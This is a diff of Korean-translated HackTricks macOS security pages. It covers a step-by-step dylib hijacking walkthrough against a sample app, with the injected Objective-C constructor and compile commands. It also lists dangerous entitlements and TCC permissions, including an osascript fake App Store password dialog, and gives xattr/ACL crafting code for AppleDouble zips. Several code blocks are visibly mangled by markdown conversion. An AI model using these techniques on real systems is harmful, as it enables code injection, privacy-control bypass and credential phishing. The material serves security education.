||||
|
||||
{% tab title="LC_RPATH" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check where are the @rpath locations
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/. (offset 12)
|
||||
--
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/../lib2 (offset 12)
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="@rpath" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check librareis loaded using @rapth and the used versions
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
||||
name @rpath/lib.dylib (offset 24)
|
||||
time stamp 2 Thu Jan 1 01:00:02 1970
|
||||
current version 1.0.0
|
||||
compatibility version 1.0.0
|
||||
# Check the versions
|
||||
```
|
||||
{% code %}
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
이전 정보를 통해 우리는 **로드된 라이브러리의 서명을 확인하지 않고** 다음 경로에서 라이브러리를 로드하려고 시도한다는 것을 알 수 있습니다:
|
||||
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
그러나 첫 번째 경로는 존재하지 않습니다:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/VulnDyld.app
|
||||
|
||||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
그래, 그것을 탈취할 수 있어! 합법적인 라이브러리와 동일한 기능을 내보내며 임의의 코드를 실행하는 라이브러리를 생성하세요. 그리고 예상 버전과 함께 컴파일하는 것을 기억하세요:
|
||||
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
__attribute__((constructor))
|
||||
void custom(int argc, const char **argv) {
|
||||
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
컴파일하십시오:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||
# Note the versions and the reexport
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
라이브러리에서 생성된 재내보내기 경로는 로더에 상대적이므로, 내보낼 라이브러리에 대한 절대 경로로 변경해보겠습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
#Check relative
|
||||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 48
|
||||
name @rpath/libjli.dylib (offset 24)
|
||||
|
||||
#Change the location of the library absolute to absolute path
|
||||
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
||||
|
||||
# Check again
|
||||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 128
|
||||
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
마지막으로 **해킹된 위치**에 복사하십시오:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
바이너리를 **실행**하고 **라이브러리가 로드되었는지** 확인하십시오:
|
||||
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Usage: [...]
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
텔레그램의 카메라 권한을 악용하기 위해 이 취약점을 악용하는 방법에 대한 좋은 설명은 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)에서 찾을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
## 더 큰 규모
|
||||
|
||||
의도하지 않은 이진 파일에 라이브러리를 주입하려는 경우 이벤트 메시지를 확인하여 프로세스 내에서 라이브러리가 로드되는 시점을 찾을 수 있습니다 (이 경우 printf와 `/bin/bash` 실행을 제거하십시오).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
|
@ -1,4 +1,4 @@
|
|||
# macOS 위험한 엔타이틀먼트 및 TCC 권한
|
||||
# macOS Dangerous Entitlements & TCC perms
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,32 +9,32 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
**`com.apple`**으로 시작하는 엔타이틀먼트는 **제3자에게 사용할 수 없으며**, **Apple만이 부여**할 수 있음을 유의하세요.
|
||||
\*\*`com.apple`\*\*으로 시작하는 엔타이틀먼트는 **제3자에게 사용할 수 없으며**, **Apple만이 부여**할 수 있음을 유의하세요.
|
||||
{% endhint %}
|
||||
|
||||
## 높음
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
엔티틀먼트 **`com.apple.rootless.install.heritable`**은 **SIP 우회**를 허용합니다. 자세한 내용은 [여기를 참조하세요](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
엔티틀먼트 \*\*`com.apple.rootless.install.heritable`\*\*은 **SIP 우회**를 허용합니다. 자세한 내용은 [여기를 참조하세요](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
엔티틀먼트 **`com.apple.rootless.install`**은 **SIP 우회**를 허용합니다. 자세한 내용은 [여기를 참조하세요](macos-sip.md#com.apple.rootless.install).
|
||||
엔티틀먼트 \*\*`com.apple.rootless.install`\*\*은 **SIP 우회**를 허용합니다. 자세한 내용은 [여기를 참조하세요](macos-sip.md#com.apple.rootless.install).
|
||||
|
||||
### **`com.apple.system-task-ports` (이전에 `task_for_pid-allow`로 불렸음)**
|
||||
|
||||
이 엔티틀먼트는 **커널을 제외한 모든** 프로세스의 **작업 포트를 가져올 수 있게** 합니다. 자세한 내용은 [**여기를 참조하세요**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
이 엔티틀먼트는 **커널을 제외한 모든** 프로세스의 **작업 포트를 가져올 수 있게** 합니다. 자세한 내용은 [**여기를 참조하세요**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
이 엔티틀먼트는 **`com.apple.security.cs.debugger`** 엔티틀먼트를 가진 다른 프로세스가 이 엔티틀먼트를 가진 이진 파일로 실행된 프로세스의 작업 포트를 가져와 **코드를 삽입**할 수 있게 합니다. 자세한 내용은 [**여기를 참조하세요**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
이 엔티틀먼트는 **`com.apple.security.cs.debugger`** 엔티틀먼트를 가진 다른 프로세스가 이 엔티틀먼트를 가진 이진 파일로 실행된 프로세스의 작업 포트를 가져와 **코드를 삽입**할 수 있게 합니다. 자세한 내용은 [**여기를 참조하세요**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
|
@ -46,7 +46,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
이 엔티틀먼트는 **`com.apple.security.cs.disable-library-validation`**과 매우 유사하지만 **라이브러리 유효성 검사를 직접 비활성화하는 대신** 프로세스가 **`csops` 시스템 호출을 사용하여 비활성화**할 수 있게 합니다.\
|
||||
이 엔티틀먼트는 \*\*`com.apple.security.cs.disable-library-validation`\*\*과 매우 유사하지만 **라이브러리 유효성 검사를 직접 비활성화하는 대신** 프로세스가 **`csops` 시스템 호출을 사용하여 비활성화**할 수 있게 합니다.\
|
||||
자세한 내용은 [**여기를 참조하세요**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
@ -67,7 +67,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
엔티틀먼트 **`com.apple.private.icloud-account-access`**를 통해 **`com.apple.iCloudHelper`** XPC 서비스와 통신하여 **iCloud 토큰을 제공**할 수 있습니다.
|
||||
엔티틀먼트 \*\*`com.apple.private.icloud-account-access`\*\*를 통해 **`com.apple.iCloudHelper`** XPC 서비스와 통신하여 **iCloud 토큰을 제공**할 수 있습니다.
|
||||
|
||||
**iMovie** 및 **Garageband**에는 이 엔티틀먼트가 있었습니다.
|
||||
|
||||
|
@ -88,6 +88,7 @@ TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Up
|
|||
### `keychain-access-groups`
|
||||
|
||||
이 엔티틀먼트는 애플리케이션이 액세스할 수 있는 **키체인** 그룹 목록입니다:
|
||||
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -98,6 +99,7 @@ TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Up
|
|||
<string>IMCore</string>
|
||||
</array>
|
||||
```
|
||||
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
**전체 디스크 액세스** 권한을 부여하며, 가질 수 있는 TCC에서 가장 높은 권한 중 하나입니다.
|
||||
|
@ -107,10 +109,10 @@ TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Up
|
|||
앱이 **작업 자동화**에 일반적으로 사용되는 다른 애플리케이션에 이벤트를 보낼 수 있도록 합니다. 다른 앱을 제어하여 이러한 다른 앱에 부여된 권한을 남용할 수 있습니다.
|
||||
|
||||
사용자에게 비밀번호를 요청하도록 만드는 것과 같은 작업을 수행할 수 있습니다:
|
||||
|
||||
```bash
|
||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
또는 그들로 **임의의 작업**을 수행하게 만듭니다.
|
||||
|
||||
|
@ -142,7 +144,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
이 권한은 **C 코드를 무시하거나 수정**하거나, 기본적으로 보안에 취약한 **`NSCreateObjectFileImageFromMemory`**를 사용하거나, **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. 자세한 정보는 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
이 권한은 **C 코드를 무시하거나 수정**하거나, 기본적으로 보안에 취약한 \*\*`NSCreateObjectFileImageFromMemory`\*\*를 사용하거나, **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. 자세한 정보는 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 권한을 포함하면 앱이 메모리 안전하지 않은 코드 언어의 일반적인 취약점에 노출됩니다. 앱이 이 예외를 필요로 하는지 신중히 고려하십시오.
|
||||
|
@ -167,12 +169,14 @@ TODO
|
|||
### `kTCCServiceAll`
|
||||
|
||||
이 블로그 게시물에 따르면, 이 TCC 권한은 일반적으로 다음 형식으로 발견됩니다:
|
||||
|
||||
```
|
||||
[Key] com.apple.private.tcc.allow-prompting
|
||||
[Value]
|
||||
[Array]
|
||||
[String] kTCCServiceAll
|
||||
```
|
||||
|
||||
프로세스가 **모든 TCC 권한을 요청하도록 허용**합니다.
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
@ -186,7 +190,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* \*\*💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS xattr-acls 추가 정보
|
||||
# macOS xattr-acls extra stuff
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,21 +9,16 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
||||
./get_acls test
|
||||
ACL for test:
|
||||
!#acl 1
|
||||
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
|
||||
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
|
||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||
```
|
||||
|
||||
````
|
||||
<details>
|
||||
|
||||
<summary>get_acls 코드</summary>
|
||||
|
@ -66,103 +61,47 @@ acl_free(acl);
|
|||
acl_free(acl_text);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||
mkdir start
|
||||
mkdir start/protected
|
||||
./set_xattr start/protected
|
||||
echo something > start/protected/something
|
||||
```
|
||||
````
|
||||
|
||||
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>set_xattr의 코드</summary>
|
||||
```c
|
||||
// gcc -o set_xattr set_xattr.c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <sys/acl.h>
|
||||
|
||||
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
||||
|
||||
void print_xattrs(const char *filepath) {
|
||||
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
return;
|
||||
}
|
||||
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
||||
|
||||
char *buf = malloc(buflen);
|
||||
if (buf == NULL) {
|
||||
perror("malloc");
|
||||
return;
|
||||
}
|
||||
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
||||
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
free(buf);
|
||||
return;
|
||||
}
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
||||
|
||||
printf("All current extended attributes for %s:\n", filepath);
|
||||
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
||||
printf("%s: ", name);
|
||||
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
continue;
|
||||
}
|
||||
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
||||
|
||||
char *value = malloc(valuelen + 1);
|
||||
if (value == NULL) {
|
||||
perror("malloc");
|
||||
continue;
|
||||
}
|
||||
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
||||
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
free(value);
|
||||
continue;
|
||||
}
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
||||
|
||||
value[valuelen] = '\0'; // Null-terminate the value
|
||||
printf("%s\n", value);
|
||||
free(value);
|
||||
}
|
||||
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
||||
|
||||
free(buf);
|
||||
}
|
||||
free(buf); }
|
||||
|
||||
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
||||
|
||||
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
||||
const char *filepath = argv[1];
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
||||
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
||||
if (result == 0) {
|
||||
printf("Extended attribute set successfully.\n\n");
|
||||
} else {
|
||||
perror("setxattr");
|
||||
return 1;
|
||||
}
|
||||
print\_xattrs(filepath);
|
||||
|
||||
print_xattrs(filepath);
|
||||
return 0; }
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
````
|
||||
</details>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
||||
|
||||
```bash
|
||||
# Create appledoublefile with the xattr entitlement
|
||||
ditto -c -k start protected.zip
|
||||
|
@ -176,23 +115,10 @@ rm -rf protected.zip
|
|||
zip -r protected.zip protected ._protected
|
||||
rm -rf protected
|
||||
rm ._*
|
||||
```
|
||||
{% endcode %}
|
||||
```bash
|
||||
# Check if it worked
|
||||
ditto -x -k --rsrc protected.zip .
|
||||
xattr -l protected
|
||||
```
|
||||
<details>
|
||||
````
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -39,6 +39,7 @@ macOS Catalina부터는 **Gatekeeper는 애플에 의해 인증**된지 여부
|
|||
#### 서명 확인
|
||||
|
||||
악성 코드 샘플을 확인할 때는 항상 이진 파일의 **서명을 확인**해야 합니다. 서명한 **개발자**가 이미 **악성 코드와 관련**되어 있을 수 있기 때문입니다.
|
||||
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -55,6 +56,7 @@ spctl --assess --verbose /Applications/Safari.app
|
|||
# Sign a binary
|
||||
codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
|
||||
### Notarization
|
||||
|
||||
애플의 노타리제이션 프로세스는 사용자가 잠재적으로 해로운 소프트웨어로부터 보호되는 추가적인 안전장치로 작용합니다. 이 프로세스는 개발자가 애플의 노타리 서비스에 소프트웨어를 제출하는 것을 포함하며, 이는 앱 리뷰와 혼동해서는 안 됩니다. 이 서비스는 악성 콘텐츠와 코드 서명에 관련된 잠재적인 문제를 확인하기 위해 제출된 소프트웨어를 자동으로 검토하는 시스템입니다.
|
||||
|
@ -68,10 +70,12 @@ codesign -s <cert-name-keychain> toolsdemo
|
|||
GateKeeper는 신뢰할 수 없는 앱의 실행을 방지하는 여러 보안 구성 요소와 동시에 하나의 구성 요소입니다.
|
||||
|
||||
GateKeeper의 상태를 확인하는 것이 가능합니다:
|
||||
|
||||
```bash
|
||||
# Check the status
|
||||
spctl --status
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
GateKeeper 서명 검사는 **격리 속성을 가진 파일**에 대해서만 수행됩니다. 모든 파일에 대해서는 수행되지 않습니다.
|
||||
{% endhint %}
|
||||
|
@ -80,7 +84,8 @@ GateKeeper는 **환경 설정 및 서명**에 따라 이진 파일을 실행할
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 구성을 유지하는 데이터베이스는 **`/var/db/SystemPolicy`**에 위치합니다. 다음 명령을 root로 실행하여 이 데이터베이스를 확인할 수 있습니다:
|
||||
이 구성을 유지하는 데이터베이스는 \*\*`/var/db/SystemPolicy`\*\*에 위치합니다. 다음 명령을 root로 실행하여 이 데이터베이스를 확인할 수 있습니다:
|
||||
|
||||
```bash
|
||||
# Open database
|
||||
sqlite3 /var/db/SystemPolicy
|
||||
|
@ -94,10 +99,12 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
|||
